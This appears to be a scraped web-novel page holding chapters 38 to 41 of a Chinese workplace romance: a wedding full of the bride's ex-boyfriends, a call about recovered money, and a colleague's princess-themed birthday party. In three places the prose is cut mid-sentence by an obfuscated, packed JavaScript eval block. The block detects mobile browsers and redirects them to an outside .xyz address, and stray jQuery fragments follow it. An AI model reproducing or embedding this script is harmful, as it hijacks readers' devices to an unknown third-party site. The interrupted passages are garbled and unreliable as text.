幸好,草坪上的仪式时间并不长。新郎新娘火速说完誓言,交换戒指,亲吻,像是快进镜头。即使这样,在烈日之下,新娘的妆容花了,新郎的汗已经滴在地面上。
当司仪宣布“祝新人白头偕老,永结同心,礼成”时,宾客们猛烈鼓掌,也不知道是真心为新人高兴,还是因为可以进大厅吹空调了。
38. 第 38 章
领位的服务员问:“同学,同事,普通朋友还是前任?”
“前任。”
服务员看看我,又看看周明凯,“新郎的还是新娘的?”
“前男友。”周明凯回答得铿锵有力。
等被领到桌前,才知道为什么有那些莫名其妙的问题。他面前的桌上摆着一张卡牌——“回忆”。领位的小妹很贴心地解释,“这一桌都是新娘的过去。”
其他桌子都已经坐满了,我只能被安排在“新郎的过去”那桌,桌子上的卡牌是“时光”。
这莫名其妙的文艺范儿,让我起了一身鸡皮疙瘩。
显然,新郎的人气远不如新娘。“时光”桌上只坐着两个女生,加上我是三个。随着“回忆”桌越坐越满,新郎的笑容尴尬而勉强,甚至有点铁青。
我的尴尬比新郎有过之而无不及。
新郎的两位前女友毋庸置疑都是美女,而且美得各有千秋。披肩发的女生轮廓很深,偏欧美系的长相,大概是混血,操着一口流利的中文。另外一位栗色短发的女生,五官酷似王菲,不过是甜美版本。
她们俩像好闺蜜聊天一样交谈,毫不避忌地谈论新郎,以至于坐在一边的我被迫观赏了新郎从二十岁到二十六岁的个人纪录片。她们分别占据了胶片的二分之一,我顺便观赏了她们的那几年。
在她们的交谈中,我知道了那个混血欧美系是新郎的初恋女友,甜美版“王菲”是新郎在国外留学同一个学校的校友。新郎居然是个富二代,而且还是个不怎么张扬的富二代,今年三十岁。据说他谈恋爱都是三年,前两任女友都是在庆祝完三周年纪念日之后第二天分手。完全不是氛围感和浪漫组选手。
她们终于不聊新郎了,问我是新郎什么时期的女友,我也不知道该不该说我是新娘前男友的现女友,只能含糊其辞。她们又转向讨论新娘。
“新娘也没多好看嘛,况子聪不是一直喜欢美女吗?”
甜美版“王菲”冲我看了一眼,“你是在我之后的吧?他跟你分手还不到一年就结婚了,你怎么还抢不过那个女的?”
新娘,虽然精心打扮过了,仍然能看出不过是中人之姿。
“真不知道她有什么魔力,居然谈一年就结婚了。”
我默默在心里说,新娘是你们仨中唯一破除了三年纪念日魔咒的选手。
那个甜美版“王菲”又探过身子来问,“你对台上那位有多少了解?”
救命!我完全不想知道,也没有兴趣在大庭广众讨论别人的隐私。
“一无所知。”我实话实说。
在我坐立不安,生怕她们又问出什么奇怪问题,盘算着什么时候能溜走的时候,周明凯把我从尴尬的局面里解救了出来。他在她们诧异的注视中,走到我面前,“我那边还有位置。”
“早知道我也把新男朋友带过来。”初恋女友气鼓鼓地抱怨。
甜美“王菲”也在旁边附和,同时表达了对我的钦羡,“你男朋友很帅哎。”
我礼貌地回了她一个微笑,从“时光”桌换到“回忆”桌,听到她们齐齐倒吸了一口气。
大概,我要沦为她们新的八卦素材了吧。
周明凯一言不发,而我对台上的新娘子,充满了艳羡。
虽然新娘颜值不出众,但品味和撩男手段都很在线。看看这一桌前任,环肥燕瘦,各有千秋。我深刻怀疑新娘子是双子座,她对人类品种的多样性抱有极大的好奇心和探索欲。这半桌的前男友,无一例外,颜值个个能打,且风格迥异。周明凯无疑是精英男的代表,他的左边依次是忧郁文艺男、阳光运动男,我的右边则是花样美男,腼腆羞涩小奶狗和斯文绅士男。
啧啧啧,我不仅感慨,新娘子艳福不浅。
虽然对于这种婚礼邀请前任的做法,我不能理解,但确实大开眼界。看看这一桌子,简直是乱花渐欲迷人眼。
周明凯好像有些不高兴,换做肖平有如此多前任,我大概也高兴不起来吧。
有些人从始至终都喜欢同一类型的伴侣,后一个形似或神似前一任,每一任都像翻版;而有些人则像收集卡牌一样,把风格迥异,只要能入得了眼的全都收入囊中;甚至还有星座集邮爱好者……只能说,人类这种生物,果然是物种多样性的典型代表,在爱情这件事上便可管中窥豹。
见周明凯把我带到这桌,有人也离席带来了女生。那五位男士互相看了看,带了女伴的昂首挺胸,好像突然优越了起来,而形单影只的,表现就有些耐人寻味了,有人神色不虞,也有人坦然以对。
“你是晓晓第几任?”斯文绅士男略过我问周明凯。
周明凯没有搭理他,他自言自语:“一看就知道,你年份久远了吧?”
根据他们之间的寒暄,新娘是个人物,这么些前任,居然还能齐聚一堂,且没有龃龉,看来不存在劈腿事件。要么就是新娘是时间管理大师,时间衔接得严丝合缝。
阳光运动男突然压低声音问:“你们猜晓晓怎么介绍我们的?表哥堂哥和邻居哥哥?”
“显然不是。你没看见新郎一副便秘的样子。”忧郁文艺男摇摇头。
花样美男和羞涩小奶狗一致表示了同意。
如果我在自己的婚礼上看到了未来老公的历任女友,我会怎么想呢?大概会在脑子里回放,我们曾经一起去吃饭的餐厅,他们是不是也曾经去过;我们曾经一起看过的电影,他们是不是也一起看过;我们曾经去旅行的地方,是不是也是他们的打卡点?
或许,所有的一切都宛如复制粘贴,唯一不同的只是旁边换了人而已。
这么想起来,还真是索然无味得很。
周明凯低着头,不知道在想什么。
新娘如沐春风一般,在全场飞来飞去,像一只不知疲倦的花蝴蝶,“感谢大家来参加我们的婚礼……”新郎脸色阴霾,勉强挤出了些许笑容。
去洗手间的路上,我非常不合时宜地听见了新婚夫妇的争吵。
“况子聪,你够了哦,今天来的都是好朋友,你拉长脸给谁看。”
“那你也没说,你会来那么一大桌帅哥前男友。”
“帅有什么用,都没有我老公有本事呀。我这么受欢迎,最后都被你征服,成了你老婆。”
新郎没有说话,大概还在生气。
“哎呀,你吃什么干醋啊。今天之后,这些人的手机微信我都删掉,总行了吧?”
“是你说的哦,以后不能再跟他们联系了。”
“本来就没联系了。这次叫他们来,也是想让他们看看,我老公有多优秀,把他们都比下去了。”
果然,新娘不是一般人,三言两语就把新郎哄好了。
回到席上,新郎已经面色如常,新娘挽着他挨桌敬酒。
我倒是没什么负担,埋头苦吃。富贵人家的酒席果然很能上台面,有龙虾鲍鱼烤乳猪,甚至每人有一碗鱼翅。红酒的档次看不出,白酒是茅台。虽然不知道周明凯包了多少红包,但这一餐应该是能回本。
偷偷瞄了一眼周明凯,他好像胃口不怎么好,只吃了几口就端起茶杯饮茶。
我啃着乳猪肘子,心里默默揣测,难道对前女友余情未了?为什么分手?面上不显,可心里早就抓耳挠腮,原来站在吃瓜第一线却吃不到瓜,是如此难受。
婚宴尾声,周明凯示意我们早点走,避开散场时的拥堵。
没想到,我们刚走出草坪,距离鲜花拱门还有十几步的时候,新娘追了出来。
“不打声招呼就走了?”新娘看来很喜欢粉色,敬酒服是粉色深V领小礼服。但这个粉不太衬她,深V也不适合她。
周明凯微笑,“不劳你送了。”
“你还是没怎么变啊,还是喜欢跟我同款的。”新娘子笑得一脸得意,“不过年纪有点大了吧?”
一万头草泥马差点从我嘴里奔腾而出,你才年纪大,你全家都年纪大;还有,我跟她除了性别,有哪里是同款?
我深深吸了口气,努力扯起嘴角,“我们怎么是同款呢……”,挺了挺胸,“都不是一个Size。”
情谊千金不敌胸前二两。
虽然我平时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672142|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿着保守,但并不代表我没料。虽然新娘子垫得挺厚的,可还是能看出来,就算不是一马平川,也最多是A+。
新娘的脸迅速黑了下去,周明凯笑得不着声色,“调皮。冉冉什么都好,就是有些口无遮拦。见谅。”
原本以为周明凯是谦谦君子,没想到腹黑属性拉满。
“你倒是变了不少……”周明凯不动声色,“论年龄,冉冉还得喊你一声姐姐。也怪我不好,选的这身衣服显得她明艳成熟了。恭喜你,在三十五岁之前如愿把自己嫁出去了。不过,粉色娇嫩,不适合你。”
离得近了,加上天气热有些脱妆,看得出新娘确实不年轻了。万万没想到,临到走了,我这件砸场武器才派上用场。努力降低自己的存在,生怕两边开火殃及池鱼,万一新娘彻底不顾形象,打我耳光,拽我头发,就得不偿失了。
新娘的脸色黑得跟锅底一样,她瞪着周明凯,“周明凯,你诚心的吧?”
周明凯笑得一脸人畜无害,“当然诚心。诚心祝你跟现在这位锁死,百年不解锁。”
啧啧,老板不仅腹黑,还嘴毒。
“你还是一如既往的小气。”新娘嘲讽了一句,“当时是你要分手的,现在后悔了?”
“确实是后悔了……”周明凯云淡风轻,“后悔怎么没早点分。你赶紧回去吧,不然新郎又要担心了。”
果然,新郎已经按捺不住出来找人了。
“奉劝你一句,珍惜眼前人。不要朝三暮四。”
“要你管。”
说话间,新郎已经走到我们面前。新娘恢复了甜美的笑容,“我送送老同学,你怎么出来了?”
我们借机告辞。我发自内心地感慨,好精彩的一场戏。
该说不说,草坪婚礼的确是养眼,碧绿的草地,在边边角角一些不知名的小野花,浅蓝明黄浅紫艳红,星星点点地点缀着,自然有它自己的配色师粉玫红白的心型鲜花拱门,白色和紫色的装饰,都让婚礼现场显得如童话世界一样。
可在如此美的风景里,这对新婚伴侣的背后,有着数不尽的龃龉和不可谓人道的秘密。婚礼到底是怎样的一种仪式,是主权宣誓还是粉饰太平呢?
在回程的车上,我们很有默契地沉默着。我想塞上耳机听音乐,但却发现出门忘了带,只能把脸对着外面假装看风景。周明凯打开了音乐,我悄悄地呼出一口气——终于不用假装无所谓地尬聊了。虽然他俩那彷佛怨偶的对话,让我心里痒痒的,有一只叫做“八卦”的蠢蠢欲动想要突破钳制,但理智仍然在线,我断然没有那么想不开,要去吃这个上司半生不熟的瓜。
竖起耳朵听了一会儿,这不是Shake It Off吗?看来这里面果然有故事。
“你有什么梦想吗?”
我正陷在自己的臆想中,突然周明凯问了一句。
“啊?”
跟自己的上司聊人生聊理想,还是算了吧。我没有这样的癖好,严格意义上来说,我其实没想过梦想这回事儿。
“或者说,你有什么特别想做的事情吗?”
我小心翼翼地揣摩着他的目的,这是试探我对公司的忠诚度还是有什么别的用意?
“就……好好工作,好好生活……”我抛出一个四平八稳的回答,瞄了他一眼之后,补了一句:“我从小就没什么大志向。”
怎么突然就从情感频道切换到职场频道了?工作狂的世界,真如他自己所说,疗伤靠寄情工作吗?
周明凯没再说话,若有所思地望着前方,不知道在想什么。
尴尬的沉默在狭窄的车厢里蔓延,歌曲已经自动切到了下一首。
Yesterday Once More。
又偷瞄了一眼,周明凯一张冰山扑克脸,实在很难看出什么波澜起伏。今天的歌单倒像是不太懂事的样子,一首接一首地往外倒出这些勾人心伤的情歌。
一个不合时宜的问题突然冒了出来:如果肖平结婚了,会不会给我这个前任派请帖,我猜以他的个性,应该是不会的……我们只会形同陌路。
39. 第 39 章
第N次挂掉那个陌生来电之后,我已经接近狂躁。
“你都到T市了,还有S市的推销电话。这届大数据不行啊。”孟猛调侃道。
“还总是同一个。”
“那你不给它拉入黑名单?”孟猛探过头,“让我看看是哪家这么执着,非得骗到你才罢休。”
萌萌在她的表格上飞快记录,顺便吐槽:“孟猛,你不会想把骗子挖来吧,坚持和不要脸都是销售的基本素养……不包括我们冉冉。”
“欸……这个号码怎么有点眼熟?”孟猛打开网页,把电话号码输进去,然后低声喊了叫卧槽,“冉冉,这是公安局电话。”
“啊?你没弄错吧?”小妍跑到孟猛位置上,来回对比了下两串数字,“还真是!你一个常年在T市的人,怎么还对S市公安局电话眼熟啊。老实说,你私下是不是隐藏坏蛋?平常没少犯事进局子吧?”
“乱说……我这种良好公民……”孟猛反驳。
电话又响了起来,还是那个号码。这次我可不敢给它挂了。深吸了两口气之后接了起来。
“安冉然,我们是S市清河街道公安局,你现在本人在S市吗?”
“啊?我不在S市……那个警察叔叔,我是奉公守法的好公民,我保证我没犯什么事儿啊!”
我努力回想,平时我都是打车,不存在违章可能性;难道是因为哪次不小心闯了红灯?应该没有……不遵守交通规则都已经要被公安局追着教育了吗?
“我们打电话是想通知你,你丢的钱追回来了。”
万万没想到!!!我早就当那笔钱不存在了,居然还能找回来!
“带上相关材料,到我们这核实后就可以返还给你了。”
“我现在不在S市,能晚点回去办吗?”
“你方便的时候来办理一下。”
挂了电话,我还有些懵,这算是意外之财吧。我突然有个感觉,在S市区事事不顺,可来了T市之后,所有事情都向着更好发展。是不是真的有所谓的“气”运存在?世界的尽头果然是玄学吗?
他们全都很紧张地盯着我,弄得我都紧张起来了。结结巴巴说明了原委,所有人都为我开心。
我本来想请小伙伴们吃午饭庆祝一下,但萌萌要出外勤。我就买了小蛋糕回办公室。
越想越开心,心情像坐上云霄飞车,可一条信息又让我颓成了一条软脚虾。
“你们那个方案再改改。”
改你个鬼!新客户的方案已经改了十二稿了,每次意味不明表述不清,反馈永远是“感觉不太好”。我们只能凭借自己模模糊糊的揣测,摸索着前进。让客户给一张风格参考图,对方给了好几张,风格完全不一样,还不如不给。
觅觅狠狠地戳着我上贡的蛋糕,眼神坚定,语气坚决——如果他敢说让我改回第一稿,我就把他戳成蜂窝煤。
在高强度的工作压力下,我觉得我们的精神状态或多或少都有些不正常。
我算是深刻地理解了,什么叫越抠门的客户事儿越多,也明白为什么我在例会上义正言辞地说“我们需要服务好每一个客户”时周明凯意味深长的眼神。
萌萌时常挂在嘴巴的职场规则——切忌没苦硬吃,这是真理。
我对自己失望,对自己的判断能力产生怀疑。上一个案子的成功并不是因为我安冉然的能力强,而是因为有周明凯保驾护航,还有孟猛的帮助。
“我是个失败者。”我重重地叹气。
“冉冉,你在说什么啊?”觅觅惊讶地说:“我们都觉得你太厉害了。”
“可我搞砸了,客户对我很不满意。”
“人见人爱的,那是人民币。”孟猛在旁边劝慰,“如果每一个客户都对我们超级满意,那我们GT的业务大概已经拓展到火星去了。”
……
快要下班时,萌萌一阵风一样冲进办公室,直接瘫在自己工位上,“下周三我生日,找个地方去庆祝啊。再不释放下,我要憋疯了。”
“这么快又到你生日了。”孟猛哀嚎,“那就是说,马上要开始半年度考评了。“
萌萌翻了个白眼,“别的不好说,扫兴这事儿,你称第二没人敢称第一。”
小妍眨巴着她那双二十四合金卡姿兰大眼睛,“我们换家蛋糕店吧?!上次那家难吃死了。”
“也没有那么难吃吧?!”孟猛挠着头说。
我来回看了下,全员没有说话。
小组开始分配任务,生日主题和着装code由萌萌负责,小研负责挑餐厅定位置,觅觅负责设计布置。
“那我继续负责买蛋糕吧。”孟猛自告奋勇给自己安排活儿。
“别。”萌萌马上打断孟猛。
“怎么了?”
“你下周三……”萌萌瞄了一眼日历,“你下周三是不是要跟老大去见客户?”
“萌姐,你很关注我的行程……”孟猛笑得眉不见眼,“回来路上顺便去买不就行了。”
“滚……下周三我也要去。”萌萌对小妍使了个眼色,小妍心领神会,马上接了话:“那谁知道什么时候了?况且你当着老大的面去拿蛋糕总不合适吧。”
我还在犹豫要不要接下这活儿,手机上闪起一条信息:“冉冉,能不能拜托你去买蛋糕。孟猛有一种超能力,他能够精准地避开店里所有好吃的东西,买到最难吃的那种。”
“要不我去吧。”
萌萌悄悄冲我比了个心。
孟猛还在嘟囔说怕我不认识路。
“打车去,车费我报销。”萌萌赶紧堵住了质疑的源头,“下周三都别磨蹭,到了地方先找我拿衣服。”
因为这场小讨论,很难得的,在下班时间过了二十分钟后,我们才开始零零星星收拾东西准备下班。
周明凯推门出来了,看着我们这一组人,“还没走?”
尽管外企不崇尚加班,但像这位老板一样,恨不得到点就撵人的上司,还真是独一份。
“老大,我下周生日,你来不来?”
“下周很忙,大概率去不了。餐厅发票留好,团建费用报销。”
我边收拾边问小妍:“大家每年都这么过生日吗?”
小妍掰着指头说,“我们生日基本都在下半年,我和孟猛的生日挨得近,就一起过;觅觅是十一月的生日,至于老大,从来不过生日。对了,冉冉,你什么时候过生日啊?”
我含糊地回应:“我生日已经过了。”
她一副很惋惜的样子,“只能明年帮你过生日了。”
“每年大家都一起过生日吗?”我其实有点好奇,从来没跟同事一起过生日,这对我来说,算是私人领域。“都不跟家人或男朋友一起吗?”
“我们大多是外地人,都没对象,一窝单身狗。”小妍笑着说,“所以就一起过生日啰。”
说起来,今年的生日大概会在悄无声息中度过吧,没有鲜花,没有蛋糕,伴随着失恋的疼痛。
不过三十岁的生日本来也没什么值得庆祝的,难道庆祝三十岁我还活着?如果每过一次生日就减一岁该多好。
我跟肖平刚在一起的时候,我的生日对他来说是最大的节日;第一年,他提前买好了生日蛋糕来学校,在我最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672143|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喜欢的西餐厅吃了一顿饭,都是我爱吃的,后来他说花掉了他一个月的生活费……肖平让我闭上眼睛许愿,我许的愿望是跟他永远在一起;他紧张地问我,许了什么愿;我还没说,他又紧张兮兮地朝我摆摆手,“还是别说了,说了就不灵了。”
我们交往的第三年,他送的生日礼物装在丝绒盒子里,我的心跳加速,以为他终于要向我求婚了。打开时候是一对水晶耳钉,我嘴上说着喜欢,其实内心失望得要命。
去年生日,他在公司加班,生日礼物是后补的。我想了一会儿才想起来,去年收到的生日礼物是一双镶钻的高跟鞋,不是Jimmy Choo,是类似款式但便宜得多的一个牌子。鞋子弄错了尺码,还是我后来自己带去门店调换的。
收到礼物时候有多开心,试穿的时候就有多失望;当时心情有多热切,去调换时就有多沮丧。
任何东西都有期限,过了最佳赏味期,不是不能吃,但口味总归是不对。
现在我才后知后觉反应过来,到底是肖平所说的店员拿错了,还是他压根记得的就不是我的鞋码。
可现在再去追究这些,又有什么意义?
就算我只字未提许下的愿望,也还是以分手告终。两个人能否长长久久在一起,许愿灵不灵验,诺言做不做数,其实只是跟人有关。
“冉冉,你还没收拾好啊。”觅觅打断了我散漫无边的回忆,“快一点呀。”
我们当中只有萌萌有车,觅觅是个本本族,我和小妍连驾照都没有。萌萌开车来上班的日子,会捎我们回家,顺带聊八卦。
把手机纸巾全都塞包里,周明凯走了出来,“安冉然留一下。”
我垮下脸,得,今天又得“补课”——自从WH集团的策划案执行落地后,“补课”改为一周随机。更痛苦了。
他们悄无声息地溜走了,我垂头丧气走走进了老板办公室。
……
晚上到家已经快十点了,趴在床上,我决定尽快回S市善后。打开售票网站一看,机票贵了一千块!痛心疾首!接二连三工作的忙碌和各种生活琐事,打乱了我回S市的计划。
许逸晨提过的那个关于未来的问题又浮出水面:我决定在T市定居吗?尽管我的天平已经倒向了T市,可我仍然不能笃定。我害怕,怕做选择,怕做错选择。撇开已消散的情感羁绊,我已经在S市待了5年,再过2年有机会申请落户……
拿出纸笔,我开始列举两个城市的优劣。
S市:昂贵的房租,讨厌的上司,没意义但轻松的工作,没有朋友和良好的人际关系,过期的恋情,买不起房子。
T市:免费公寓宿舍,严厉但不讨厌的上司,困难可是能学到东西的工作,友好可爱的同事们,不怎么让人喜欢的客户;许逸晨;暂时买不起但努力有希望买房子。
一目了然,T市是更优选,跟S市完全相反的对照组。我应该毫不犹豫地选择它,可是……
算了,还是先解决眼前的事情。
为了让自己不要再继续拖延,我买了下周五去S市的飞机票,然后在网上发了转租帖子,至于去警局核实身份需要带什么资料,还是明天打电话确认下好了。
做完这一切,我去泡了个澡,周身放松。浴缸终于派上了用场。
直到感觉到冷,才发现自己躺在浴缸里睡着了。由于楼间距很大,这间屋子又是在高层角落里,我没有关浴室窗户。今晚的月亮又大又圆,夜空中点缀的几颗若隐若现的星星时不时冲我眨眼。我望着窗户外面,S市从来都看不见明朗的星空。
这一刻,我做了决定。
40. 第 40 章
我在去店里之前已经问清楚了萌萌的喜好——动物奶油,芒果夹心,公主皇冠……到目前为止,一切顺利。问题出现在售货员问我要几岁蜡烛的时候。
萌萌多少岁?二十五还是二十六?她看上去绝对不会超过二十八岁。不然还是拿十八吧?好歹能用“永远十八岁”蒙混过去。
我犹豫了一会儿,还是决定打电话问小妍。
小妍似乎在啃饼干,声音含糊,伴随着“咔嚓咔嚓”的声音,像是一只仓鼠在啃松子。一段短暂的空白之后,电话那头传来声音,“萌萌姐是八零后,具体哪一年我记不清了。你等我查查员工资料。”
我的脑子像是被原子弹轰炸之后那一片废墟,空白茫然,伴随着残垣断壁崩塌的声音,只留下“八零后”三个字来回播放。萌萌,八零后?!就算是最小的八零后,也已经三十五岁了!!不敢相信。虽然她办事沉稳老练,但那张脸闪现在我脑海里,我还是不敢相信,她已经超过三十岁了。
在半信半疑之间,我还是觉得应该再求证一次:“小妍,你是不是记错了?
“怎么会呢,萌萌比孟猛大。孟猛是93年还是94的,我记得萌萌姐比他大几岁啊……”,电话那头传来一声愉快的回应:“找到了,八八年的。”
!!!
我的心里竖起了三个惊叹号。
“蜡烛拿三十六不太合适吧?”我小心翼翼地问:“不然拿十八?”
“千万别……去年孟猛自作聪明拿了十八的蜡烛,被萌萌姐骂了一顿,说他审美白幼瘦,让他回店里换蜡烛。”
“咔擦”一声,像是咬断了一根棍状饼干,“你就拿三十六吧。”
为防万一,我还是问店员要了两套蜡烛,三十六和十八。
装好寿星皇冠和蜡烛,拎好蛋糕,我刚准备出蛋糕店就接到了出租车司机电话,“小姐,你出来了吗?这里只能停两分钟。”
我按习惯提前叫了车,没想到车这么快到门口了。又忘了T市打车有多方便。
小妍发给我的地址看上去不像餐厅,当出租车停在一个别墅门口的时候,我还以为司机送错地方了。这栋别墅外面有花园,欧式建筑看上去像是小城堡…
据说别墅派对在T市早就屡见不鲜。这栋别墅难预定的原因是,它的外形特别像城堡,地处郊区,可以在花园前面的空地放烟花…而且这栋别墅配有自己的小厨房和五星级大厨,预定的客人可以享受贵宾待遇,全程无需自己动手,只要享受就好了。
我承认,先前我对T市有偏见,总觉得这种三线城市没有什么拿得出手的高消费场所。就跟我家乡小镇一样,虽说KTV茶室咖啡馆西餐应有尽有,甚至还有酒吧蹦迪,但总有一种穿上龙袍不像太子的感觉…夜场像是一种陈年迪厅翻新,审美跟不上是硬伤,跟S市这种一线城市的高档时尚差距很大。
眼下给了我现实一击:每个城市都有高大上和时髦的消费场所,只不过是我这个消费层次接触不到而已。
萌萌定的生日主题是梦幻各国在逃公主,一整个cosplay。
“ 你们不会要穿成这样去吃饭吧?”孟猛在我后面进门,小妍和觅觅已经换好了公主裙,还戴上了小皇冠。
“怎么不行?我今年生日的主题是在逃公主。”萌萌从小妍手里接过明黄色的公主裙,把蓝色的公主裙递给我,然后把紫色礼服裙塞给了孟猛,
孟猛举着裙子,苦着一张脸,“我就算了吧?”
“你有两个选择:要么穿裙子跟我们一起扮公主,要么下周我们组的月报都归你写。”
“那我宁愿写月报……反正我们组的项目我都熟。”
孟猛嘀咕,“萌姐,也就是老大没来,你才敢搞这种Cos……要是老大来呢?”
“那就是在逃公主和王子……”萌萌狡黠一笑。
我们在等大厨上餐的时间段里,萌萌提议玩游戏。
“玩什么?”
“真心话大冒险!”
“这附近都没别人大冒险能玩出什么来?”
“比如…让你穿公主服…”
孟猛坚决反对玩大冒险,别墅里有游戏室,台球桌麻将桌一应俱全,我们打了几把扑克牌之后吃上了法餐。
蛋糕环节,我看着萌萌笃定地对着燃着的“三十六”蜡烛笑着许愿,她如同水蜜桃一样饱满的红晕在烛光的闪烁里跳跃,我有些羡慕。
全世界都在呼吁女性不要年龄焦虑和容貌焦虑,可是他们都不是我,他们不知道我的焦虑来自于哪里。那是一种不安定感,一种不知道自己会落到什么境地的不笃定。
我曾经以为,三十岁是人生的分水岭,就像水果一样。三十岁之前是当季刚上市的时令水果,水分充足、模样可人,而三十岁之后,就像经过了冰霜之后的过季水果,就算没到干瘪的程度,但跟新鲜可口也扯不上关系了。
在这一刻,萌萌蓬勃的生命力喷涌而出,无关年龄,是一种卓然的向上的能量。我不知道该如何形容那种感觉,只是受到了鼓舞。
年龄焦虑?容貌焦虑?似乎都不存在…
“我希望明年的今天,还能一起过生日。”
小妍哎呀了一声,向萌萌嗔怪:“愿望说出来就不灵验了。”
萌萌笑着戳了一下她的额头,“呀,没看出来,小丫头还挺迷信的。”
一顿酒足饭饱,烟花在天空里绽放,这一晚的快乐达到了顶点,我望着一簇簇的烟花在星空里升高,
“吃完饭还续摊吗?”孟猛边戳手机边问。
“续什么摊,明天还上班呢。”觅觅一副要生要死的样子,“明天我一早要去城南,哪家好人客户会把会议时间定在早上9点。”
我们同情地看着觅觅。
孟猛一脸不好意思,“客户明天有三个会议,只能一大早…受累了。”
“散了吧,散了吧。”萌萌的大裙摆在地上扫过来又扫过去,她满不在乎地拖着裙摆,把插在头髻上的玫瑰花拔了下来,“送完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672144|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们,我回家睡美容觉。”
“哪儿敢劳寿星女大驾。”孟猛拉开门,“我负责送人吧。”
走出别墅的时候,清凉的晚风吹拂,草丛里蟋蟀在我们走过的时候噤声,我们刚走远就继续它们的演唱会。
不得不说,孟猛是个好人,他的好无关风花雪月,而是像邻家弟弟,可能有时候会把人气得仰倒,但只要有事儿,他会站出来担事儿。是你可以完全信赖他的那种好。他身上散发出来的气息,就像是晒过了太阳的棉被一样,我时常会有种错觉,他会在跟任何人谈事情之前,从口袋里掏出一把小零食,塞在那人手里。
对怀疑他是人贩子这件事,我后来进行了深刻的检讨和反省——孟猛碰到问路的老太太,都恨不得领着别人去目的地,萌萌和觅觅时常担心他有一天会被拐卖去偏远山区。
因为这份真诚和热情,孟猛很招女客户待见。
今晚我们都喝了不少,孟猛叫了个七人座商务车,按距离远近挨个送我们回家。他坐在副驾驶位置上,我们四个女生挤在后排,聊着聊着就开始讨论另外那两组人。
据小妍说,二组都是些奇葩,尤其是薛旻,最喜欢搬弄是非,恨不得把职场变成宫斗剧现场。可惜能力非常一般,属于心比天高命比纸薄的那一类。
觅觅扔出今晚的金句:“也不全是奇葩,还有废物。”
我其实并不是很明白,为什么她对我们有那么深的敌意。其实我观察过,我们组更多的是拓新,二组和三组都以维护老客户为主。
萌萌说老板其实都知道,二组那几个人能力有限,服务好B级客户已经是他们的能力上限了,他们没有服务A级客户的能力;目前这样的工作安排其实是对公司资源的最佳配置。
孟猛回头补充说,老板顾及他们的自尊心,没有把话说透,他们倒好,反而认为是老板偏心。老板认为一个公司里不可能都是能力强的,如果全员都是牛人,那也不现实,有强有弱,各司其职,整体也能够平衡。其实老板鼓励良性竞争
小妍最先到家,然后是觅觅和萌萌。车上剩下我和孟猛,他说如果二组如果真能挑起新客户拓展的担子,那他也不介意把客户资源分给她们。这一点倒是出乎我的意料,总部那些人,都把资源牢牢握在自己手里,哪怕自己签不下来,也不愿意分享出来。
……
欢声笑语和璀璨的烟花在脑海中久久不能散去。萌萌的生日会,在我的心上凿开了一条细缝,仿佛阴霾了许久的冬日里,一道阳光在从云层直射下来,暖洋洋的。快乐与年龄无关,每个人都可以按自己喜欢的方式生活,年龄不应该成为限制自己的枷锁。
突然想起周明凯那天问我的话题,我特别想做的事情是什么,现在开始想似乎也不算晚……可我想了半天,仍然一无所获。不然看看别人都有什么梦想吧。上网搜别人的梦想清单,发现原来世界上有这么多值得向往的事……我默默抄了别人的清单,我想,也许我可以在尝试中找到自己的梦想。
41. 第 41 章
我没想到会以这样的方式回到S市。
事情是这样的:周明凯给我的月度打了A,可季度考评,由于我Q2的前一半时间在总部,露西给我打了D;就算周明凯后续继续打A,拉平均下来,也只能勉强够上及格。那我的年终奖系数就是最低的那一档。
其实,我倒不是很介意,每一年在露西手里的考评都拿不到好成绩,第一年是B,接下来的两年都是C,虽然没有D那么夸张,但也都只是勉强合格。
周明凯不同意。正好赶上半年度述职汇报,周明凯将我和孟猛打包一起带到了S市。
述职是在下周一,因为我已经定了本周五的机票,跟周明凯说回S市处理点私事,就跟他们分开走。他们俩周日下午的飞机。原本小妍还要给我订酒店,我说我的房子还没退租,周明凯让小妍给他俩在总部附近订了个标间。
时隔了一个半月,再回到S市,感受截然不同。依然是那个灯红酒绿的S市,可这一次回来,却生出一丝陌生感。
出租屋跟我离开的时候一样,装着肖平东西的箱子仍然摆在原地,我不知道他有没有回来过。也许,他像狡黠的兔子,早已为自己置好了新的洞穴。
已经晚上九点多了,有人约了明天来看房子。我看了看房子,到处都是灰尘,真是奇怪,我明明都关了窗户,这些灰尘是从哪里钻进来的呢? 我开始擦灰,坚定地想在这次把房子转租出去,全屋打扫耗时耗力,我不想再来一次。
自从房子信息挂出去后,平台上每天都有好几个人来问房子的事,得知要过一周才能看房,有几个放弃了。出发前我更新了帖子,表示人已回S市,周末和下班后都可以看房子,有不少人联系了我。
